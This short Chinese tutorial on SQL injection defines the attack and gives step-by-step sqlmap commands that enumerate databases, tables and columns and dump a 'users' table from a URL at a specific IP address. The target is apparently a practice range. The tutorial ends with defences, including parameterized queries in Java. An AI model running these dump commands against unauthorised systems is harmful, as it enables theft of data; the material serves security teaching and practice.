目录
SQL注入的定义
SQL注入是一种常见的网络安全攻击技术,攻击者通过在用户输入的数据中插入恶意的SQL代码,欺骗后端数据库执行非预期的操作。这种攻击通常发生在应用程序未对用户输入进行充分验证或过滤的情况下,导致数据库被非法访问、篡改或泄露敏感信息。
SQL注入的利用
自动化工具SQLMAP
基础用法
python sqlmap.py -u URL
示例:
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport

--dbs 查看数据库
示例:
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport --dbs
-D 指定对应数据库(如果没有则不用指定)
--tables 查看对应数据库名(如果没有则不用指定)的所有表
示例
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport --tables -D dbname

-T 指定对应表
--columns 查看对应表的所有列名
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport -T users --columns

--dump 列出所有值 可指定具体到列,也可以直接指定表,将表的内容都显示出来
示例:
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport -T users -D dbname --dump

靶场、实战练习
Bugku平台
Bugku 2023 HackINI Virtual Shop-CSDN博客
SQL注入防御
输入验证
Web应用防火墙WAF
参数化查询
使用参数化查询(预编译语句)是最有效的防御方法。
例如在Java中使用PreparedStatement:
java
String query = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);